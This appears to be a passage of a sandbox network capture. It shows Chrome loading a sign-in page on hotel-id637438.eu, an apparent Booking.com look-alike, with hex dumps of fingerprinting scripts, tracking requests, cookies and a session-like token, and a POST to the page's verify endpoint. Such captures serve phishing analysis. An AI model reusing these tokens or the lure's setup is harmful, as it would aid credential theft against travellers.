7,5)):null)},{string:td_i,subString:((typeof(td_3w.tdz_d5a25d65b0b54364bcc3ca57901db5b9)!=="undefined"&&typeof(td_3w.tdz_d5a25d65b0b54364bcc3ca57901db5b9.td_f)!=="undefined")?(td_3w.tdz_d5a25d65b0b54364bcc3ca57901db5b9.td_f(139,5)):null),identity:((typeof
2024-07-08 22:43:32 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-07-08 22:43:32 UTC	8192	IN	Data Raw: 31 66 66 38 0d 0a 74 64 5f 33 77 2e 74 64 7a 5f 64 35 61 32 35 64 36 35 62 30 62 35 34 33 36 34 62 63 63 33 63 61 35 37 39 30 31 64 62 35 62 39 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 33 77 2e 74 64 7a 5f 64 35 61 32 35 64 36 35 62 30 62 35 34 33 36 34 62 63 63 33 63 61 35 37 39 30 31 64 62 35 62 39 2e 74 64 5f 66 28 32 35 34 2c 37 29 29 3a 6e 75 6c 6c 29 7d 2c 7b 73 74 72 69 6e 67 3a 74 64 5f 49 2c 73 75 62 53 74 72 69 6e 67 3a 28 28 74 79 70 65 6f 66 28 74 64 5f 33 77 2e 74 64 7a 5f 64 35 61 32 35 64 36 35 62 30 62 35 34 33 36 34 62 63 63 33 63 61 35 37 39 30 31 64 62 35 62 39 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 33 77 2e 74 64 7a 5f 64 35 61 32 35 64 36 35 62 30 62 35 34 Data Ascii: 1ff8td_3w.tdz_d5a25d65b0b54364bcc3ca57901db5b9.td_f)!=="undefined")?(td_3w.tdz_d5a25d65b0b54364bcc3ca57901db5b9.td_f(254,7)):null)},{string:td_I,subString:((typeof(td_3w.tdz_d5a25d65b0b54364bcc3ca57901db5b9)!=="undefined"&&typeof(td_3w.tdz_d5a25d65b0b54
2024-07-08 22:43:32 UTC	6	IN	Data Raw: 31 66 66 38 0d 0a Data Ascii: 1ff8
2024-07-08 22:43:32 UTC	8184	IN	Data Raw: 74 64 7a 5f 64 35 61 32 35 64 36 35 62 30 62 35 34 33 36 34 62 63 63 33 63 61 35 37 39 30 31 64 62 35 62 39 2e 74 64 5f 66 28 32 35 34 2c 37 29 29 3a 6e 75 6c 6c 29 2c 76 65 72 73 69 6f 6e 4d 61 70 3a 5b 7b 73 3a 28 28 74 79 70 65 6f 66 28 74 64 5f 33 77 2e 74 64 7a 5f 64 35 61 32 35 64 36 35 62 30 62 35 34 33 36 34 62 63 63 33 63 61 35 37 39 30 31 64 62 35 62 39 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 28 74 64 5f 33 77 2e 74 64 7a 5f 64 35 61 32 35 64 36 35 62 30 62 35 34 33 36 34 62 63 63 33 63 61 35 37 39 30 31 64 62 35 62 39 2e 74 64 5f 66 29 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 3f 28 74 64 5f 33 77 2e 74 64 7a 5f 64 35 61 32 35 64 36 35 62 30 62 35 34 33 36 34 62 63 63 33 63 61 35 37 39 30 31 64 62 35 62 39 2e 74 Data Ascii: tdz_d5a25d65b0b54364bcc3ca57901db5b9.td_f(254,7)):null),versionMap:[{s:((typeof(td_3w.tdz_d5a25d65b0b54364bcc3ca57901db5b9)!=="undefined"&&typeof(td_3w.tdz_d5a25d65b0b54364bcc3ca57901db5b9.td_f)!=="undefined")?(td_3w.tdz_d5a25d65b0b54364bcc3ca57901db5b9.t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	49795	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:32 UTC	1047	OUT	GET /iV2o11lxTDwUUGka?a89734ff354d22db=D5CqVWsmubYEIqEu0FrS3q7rce7LT49Bk_WGtVSamSJpQMefJHAier4GEiwTJQrA2r_G_jU9G0W3YzPGu5NujU404xs04em7e0FF-qbJ_fJGRNmkQvMLBmPvlx6vdcW_hN-1C0tdemEmYFN_p9tHJBqhQtQ&jf=3b36266c71623d623f663031616b646339306a34626e6630673b6331383363636433326a6d6462 HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://asanalytics.booking.com/6yxRzK3FUissim9K?56242969615d5d84=78xISzn7VnoRlwddedINpOCo4yhp1R63yAAh_-x__1-hWwiqBOyikZQm_1G52eujMX5giE0MkKHUfDpKfj1mcrxUsjSomBwj-lOX0rc6G7HuT8B9QhHzZJ04r7hmUZtPcdAkAPZ4pycgm408BIuLaFUPXNa-gMZtmiqyEhZDdc3ZvtCcHfUw0lSdI8ON5Y9W4GPt9FxjOg8Iiy1imRQ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:32 UTC	362	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:32 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT Connection: close Content-Length: 0 Content-Type: text/javascript

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	49797	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:32 UTC	953	OUT	GET /tmATNNVdzGt8pg9N?b0f310f21718d000=_3IRix-tKnnYriFde-gZMzMWJL9Juca2McrCW6s2cj5y1IDYYCP1ue5IUZJ5Dvqo2zrvhlhIug3mp3mDfajG_kST1QWJdXQgZSbn_Vnn2CXP3RVksYmLygUIMmv1UB5lj-0EJKHEeOnB3a2VEdMCXLYH49GP4bLxri0Yhhf10OhRObG1wtx8br2prm-w7WX3qs8zKwXGaslVfeVtNMM&jac=1&je=303426266f65646835283127304b302732413925324b343c316635676b3461663361346b3f346539646238393c6638603031623b36303839313b383b3a3333643a646164356566393a326238673739633a6362633b3129 HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:32 UTC	182	IN	HTTP/1.1 204 204 Date: Mon, 08 Jul 2024 22:43:32 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Content-Type: text/javascript;charset=UTF-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	49796	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:32 UTC	885	OUT	GET /tmATNNVdzGt8pg9N?b0f310f21718d000=_3IRix-tKnnYriFde-gZMzMWJL9Juca2McrCW6s2cj5y1IDYYCP1ue5IUZJ5Dvqo2zrvhlhIug3mp3mDfajG_kST1QWJdXQgZSbn_Vnn2CXP3RVksYmLygUIMmv1UB5lj-0EJKHEeOnB3a2VEdMCXLYH49GP4bLxri0Yhhf10OhRObG1wtx8br2prm-w7WX3qs8zKwXGaslVfeVtNMM&je=3d3326266861633d392670656757757264637c653d2d374a273032322d3030273341273f4a253232746572253a322531433b253544273f44 HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:32 UTC	182	IN	HTTP/1.1 204 204 Date: Mon, 08 Jul 2024 22:43:32 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Content-Type: text/javascript;charset=UTF-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	49794	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:32 UTC	963	OUT	GET /b3Ri08IrfvWKzb-u?7a4f678c1f858cc6=36PkBdPxdlwF2iWDI2MqAIF9W7kr6CUtqoCCgB9TNASQJMd2yRj8bKGRR4e_AUNgaF8aDeI0n4MmjsOArDdqeyYApyF0kZ2DpwdPZpM1YVnjFRpo9Qx9pbCvut3DcnLt8rRJLXu0yHEJYg50QU4Vqg&fr HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://asanalytics.booking.com/6yxRzK3FUissim9K?56242969615d5d84=78xISzn7VnoRlwddedINpOCo4yhp1R63yAAh_-x__1-hWwiqBOyikZQm_1G52eujMX5giE0MkKHUfDpKfj1mcrxUsjSomBwj-lOX0rc6G7HuT8B9QhHzZJ04r7hmUZtPcdAkAPZ4pycgm408BIuLaFUPXNa-gMZtmiqyEhZDdc3ZvtCcHfUw0lSdI8ON5Y9W4GPt9FxjOg8Iiy1imRQ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:32 UTC	420	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:32 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Connection: Keep-Alive, close X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Vary: Accept-Encoding Transfer-Encoding: chunked
2024-07-08 22:43:32 UTC	140	IN	Data Raw: 38 36 0d 0a 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 22 35 37 31 38 46 41 42 42 30 30 32 45 22 2c 22 41 41 77 6c 56 44 70 69 5f 69 49 39 55 35 6f 32 69 5f 49 4e 76 4c 34 75 42 41 62 36 5f 6a 41 47 78 45 4c 63 31 49 7a 50 34 53 30 6c 7a 41 36 48 7a 46 51 34 59 5a 2d 75 6c 49 59 77 35 64 6e 78 6a 44 57 62 52 35 77 54 6f 6b 73 35 45 6d 58 5a 51 6a 79 4a 33 4d 4c 50 6a 7a 47 51 39 67 22 29 3b 0d 0a Data Ascii: 86localStorage.setItem("5718FABB002E","AAwlVDpi_iI9U5o2i_INvL4uBAb6_jAGxELc1IzP4S0lzA6HzFQ4YZ-ulIYw5dnxjDWbR5wToks5EmXZQjyJ3MLPjzGQ9g");
2024-07-08 22:43:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49798	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:32 UTC	3109	OUT	GET /ZqQsZHm25EHoHEB-?152e9d39bcab1cb5=zgTnMTUnNK1RObyF3_y9F3vx1ULCj9qMUrh4LwCH4DXyp97H4kXRMhXMKpVIiW1TGdcoc4ozWOo7IcLMroo7zmuXFNAjCzfV7Z2K9WrPAUIUSzFGDjlgifztwQ-FjASl5z0fay-q2sDW6movPwebBwiJ7bY&jac=1&je=39313838242662617c73743f273f422732306465766d6c2d3030253149332c323025304b2d323273766174757b253230273b412732306b68617a67616c6525303a2735462661776c603d6365646261653c373834353f663232646a626431373b34333734313066606439613e3c353062643536343936363b676a656431373135616a373c376332333935246778333f3a6a626463643337366c613636303d353238313f623230363a663b373b3c3636636262376d6d34332668736f3d5f696e666d7f732732323930267d61603f2737402d30306372636a617c656374777265253a322531432d3230783a3e25323a253a412732306a6b766c6573712d3a322533432532323e342530302d324125303a6272696e6c712732302d3143273542273f4a2532326072616e6c253230273b412732304f6f6f6f6c6d2730304160706d6f6525303a2d324325303276657a73696d6c2d323025314925323a3139352732302d3546273243273f4a2532326072616e6c253230273b41273230466f742d334a432733464a70636c6425303a2d324325303276657a73696d6c2d [TRUNCATED] Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:32 UTC	362	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:32 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT Connection: close Content-Length: 0 Content-Type: text/javascript

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	49799	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:32 UTC	839	OUT	GET /tmATNNVdzGt8pg9N?b0f310f21718d000=_3IRix-tKnnYriFde-gZMzMWJL9Juca2McrCW6s2cj5y1IDYYCP1ue5IUZJ5Dvqo2zrvhlhIug3mp3mDfajG_kST1QWJdXQgZSbn_Vnn2CXP3RVksYmLygUIMmv1UB5lj-0EJKHEeOnB3a2VEdMCXLYH49GP4bLxri0Yhhf10OhRObG1wtx8br2prm-w7WX3qs8zKwXGaslVfeVtNMM&jac=1&je=3a37262660687374786e3d27354a2530323a3932253a322d314331273f46 HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:33 UTC	182	IN	HTTP/1.1 204 204 Date: Mon, 08 Jul 2024 22:43:32 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Content-Type: text/javascript;charset=UTF-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	49806	172.67.199.147	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:33 UTC	633	OUT	POST /static/verify HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive Content-Length: 8588 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://hotel-id637438.eu Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://hotel-id637438.eu/sign-in Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:33 UTC	8588	OUT	Data Raw: 7b 22 63 68 61 6c 6c 65 6e 67 65 22 3a 7b 22 69 6e 70 75 74 22 3a 22 65 79 4a 32 5a 58 4a 7a 61 57 39 75 49 6a 6f 78 4c 43 4a 31 59 6d 6c 6b 49 6a 6f 69 4d 7a 59 31 4e 6a 68 6c 5a 6a 67 74 4f 54 49 33 59 53 30 30 4d 7a 59 79 4c 54 67 31 4e 44 6b 74 4e 44 45 34 5a 47 49 32 4f 47 59 30 4e 54 55 35 49 69 77 69 59 58 52 30 5a 57 31 77 64 46 39 70 5a 43 49 36 49 6a 45 30 4e 54 49 30 4d 32 51 7a 4c 57 55 77 4d 57 55 74 4e 44 55 78 4e 69 30 34 59 6a 5a 68 4c 54 68 6d 4d 44 6c 69 5a 47 59 78 4f 54 42 6d 59 53 49 73 49 6d 4e 79 5a 57 46 30 5a 56 39 30 61 57 31 6c 49 6a 6f 69 4d 6a 41 79 4e 43 30 77 4e 53 30 77 4d 6c 51 78 4d 44 6f 79 4d 6a 6f 31 4f 53 34 34 4d 7a 6b 34 4f 44 55 31 4e 54 4e 61 49 69 77 69 5a 47 6c 6d 5a 6d 6c 6a 64 57 78 30 65 53 49 36 4e 43 77 69 Data Ascii: {"challenge":{"input":"eyJ2ZXJzaW9uIjoxLCJ1YmlkIjoiMzY1NjhlZjgtOTI3YS00MzYyLTg1NDktNDE4ZGI2OGY0NTU5IiwiYXR0ZW1wdF9pZCI6IjE0NTI0M2QzLWUwMWUtNDUxNi04YjZhLThmMDliZGYxOTBmYSIsImNyZWF0ZV90aW1lIjoiMjAyNC0wNS0wMlQxMDoyMjo1OS44Mzk4ODU1NTNaIiwiZGlmZmljdWx0eSI6NCwi
2024-07-08 22:43:33 UTC	592	IN	HTTP/1.1 405 Method Not Allowed Date: Mon, 08 Jul 2024 22:43:33 GMT Content-Type: application/json Content-Length: 31 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9BySlDuZ3M19RY8p48pp%2FQmky6Es2KhTBLzXD%2Bi4knvrNs1aV1oq2GqkHKcJdRl8%2BOLdBntmeWu7WpoczGsxi26tOzKM%2Blwx0wc%2BZ5utC%2F4%2FymzUk3sYtLmisAR1L7eCns%2B%2Fkg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a039803ad3b8c21-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:33 UTC	31	IN	Data Raw: 7b 22 64 65 74 61 69 6c 22 3a 22 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 22 7d Data Ascii: {"detail":"Method Not Allowed"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	49807	172.67.199.147	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:33 UTC	683	OUT	GET /static/otSDKStub.js.%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%BE/consent/a387750c-a080-4dd0-b2d1-7dbdb601bb14/a387750c-a080-4dd0-b2d1-7dbdb601bb14.json HTTP/1.1 Host: hotel-id637438.eu Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://hotel-id637438.eu/sign-in Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:33 UTC	569	IN	HTTP/1.1 404 Not Found Date: Mon, 08 Jul 2024 22:43:33 GMT Content-Type: application/json Content-Length: 22 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pH9QJ7SQcCN6rKuw7HVqZnRKormvetoJRCiY3BuAAhHE74OEKL7wItRp2jJsFIwKicwHhZABkaYUIyyi2N53p5CvEWEju1vjGObJDC3VeUA2BNxIl8%2BiCK8UjME%2B3uyn3lWTTA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a0398040e9d429a-EWR alt-svc: h3=":443"; ma=86400
2024-07-08 22:43:33 UTC	22	IN	Data Raw: 7b 22 64 65 74 61 69 6c 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"detail":"Not Found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	49801	91.235.132.130	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:33 UTC	771	OUT	GET /QliDAQD2E8JcXcsd?f38876d3d5034505=6R1m41uvAolfb66KoiruPDyERyalQCetrhyXtwss9zZI-rFE0ojeY_-X5L7a3bVb990ghFsriRrGoPHqREO3H-_XVXiOQKGovRRXX-uqHXKIwWZKWbUBeu53ADas4s4zne0JZs1Su2-aph7y15zPXAktIx0&k=2 HTTP/1.1 Host: h.online-metrix.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: thx_global_guid=62e15eb22c00426ba4cb753936b36cde
2024-07-08 22:43:33 UTC	362	IN	HTTP/1.1 200 OK Date: Mon, 08 Jul 2024 22:43:33 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Expires: Thu, 01 Jan 1970 00:00:00 GMT Connection: close Content-Length: 0 Content-Type: text/javascript

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	49805	52.85.61.64	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:33 UTC	397	OUT	GET /_etnht?cpr=https&ch=hotel-id637438.eu&cpa=&ad=ad%2Fsign-in HTTP/1.1 Host: www.booking.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:33 UTC	1350	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 35 Connection: close server: nginx date: Mon, 08 Jul 2024 22:43:33 GMT strict-transport-security: max-age=63072000; includeSubDomains; preload content-security-policy-report-only: frame-ancestors 'none'; report-uri https://nellie.booking.com/csp-report-uri?type=report&tag=112&pid=0b509fca5b3e0100&e=UmFuZG9tSVYkc2RlIyh9YVMFwLUCQ8zsS7x9ri8k8tdqmQYKTOa5Ylj4mbZJ2leKSRZLIhHoBn0 x-xss-protection: 1; mode=block set-cookie: bkng_sso_auth=CAIQsOnuTRpmaou+GEKeulaBbe/D0RNKi0n1KM9uEq17CoZ9ceIKbGu/yAcBi15SiUijsLL7hKBbdn2ziy9rleT/h/+mYqJx9Ltvzo4bCiS9vD0LPjuOlYCJGG9yEJ4LEajGRIlOfN54d2s0MMke; Domain=.booking.com; Path=/; Expires=Wed, 08 Jul 2026 22:43:33 GMT; HttpOnly; Secure; SameSite=Lax set-cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D91c4cf11-d893-45ba-a7de-4fecf555ad97%26consentedAt%3D2024-07-08T22%3A43%3A33.173Z%26expiresAt%3D2025-01-04T22%3A43%3A33.173Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DNY%26regulation%3Dnone%26legacyRegulation%3Dnone; Domain=.booking.com; Path=/; Expires=Tue, 08 Jul 2025 22:43:33 GMT; HttpOnly; Secure; SameSite=Lax X-Cache: Miss from cloudfront Via: 1.1 17da55c14108bb8cae904f764f67c0e0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: EWR53-P1 X-Amz-Cf-Id: keqt2pv3dDc75upaJvp5kcM55IMBkcMZKbYsatnnyTVRB1XTVhl3ag==
2024-07-08 22:43:33 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 90 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 04 01 00 3b Data Ascii: GIF89a,;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	49804	192.225.158.254	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:33 UTC	953	OUT	GET /tmATNNVdzGt8pg9N?b0f310f21718d000=_3IRix-tKnnYriFde-gZMzMWJL9Juca2McrCW6s2cj5y1IDYYCP1ue5IUZJ5Dvqo2zrvhlhIug3mp3mDfajG_kST1QWJdXQgZSbn_Vnn2CXP3RVksYmLygUIMmv1UB5lj-0EJKHEeOnB3a2VEdMCXLYH49GP4bLxri0Yhhf10OhRObG1wtx8br2prm-w7WX3qs8zKwXGaslVfeVtNMM&je=303726266861633d3926626a716a6b3f25374a25354a253a304525303a2730413136333a2d324331273544253a432537402d323046273a32253a433a3a3135273a416c776c6c273d4c253544246268736a6b5f6b6c6c657a3d33 HTTP/1.1 Host: asanalytics.booking.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:33 UTC	182	IN	HTTP/1.1 204 204 Date: Mon, 08 Jul 2024 22:43:33 GMT Server: Apache Strict-Transport-Security: max-age=31536000 Content-Type: text/javascript;charset=UTF-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	49808	52.209.78.88	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-08 22:43:33 UTC	509	OUT	OPTIONS /ping HTTP/1.1 Host: booking.gw-dv.vip Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: content-type Origin: https://hotel-id637438.eu User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://hotel-id637438.eu/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-08 22:43:33 UTC	271	IN	HTTP/1.1 204 No Content Server: openresty Date: Mon, 08 Jul 2024 22:43:33 GMT Connection: close Access-Control-Max-Age: 2592000 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,OPTIONS Access-Control-Allow-Headers: x-requested-with,content-type

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	49811	192.225.158.3	443	5492	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
